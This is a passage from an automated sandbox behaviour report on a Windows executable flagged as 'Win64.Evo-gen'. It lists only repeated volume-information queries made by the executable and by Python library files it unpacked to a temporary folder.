Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\multidict\_multidict.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\yarl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\yarl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\yarl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\yarl\_quoting_c.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_helpers.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_writer.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_parser.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_websocket.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\_uuid.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\frozenlist VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\frozenlist VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\frozenlist VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\frozenlist\_frozenlist.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography\hazmat\bindings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography\hazmat\bindings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography\hazmat\bindings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography\hazmat\bindings\_rust.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602\_cffi_backend.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
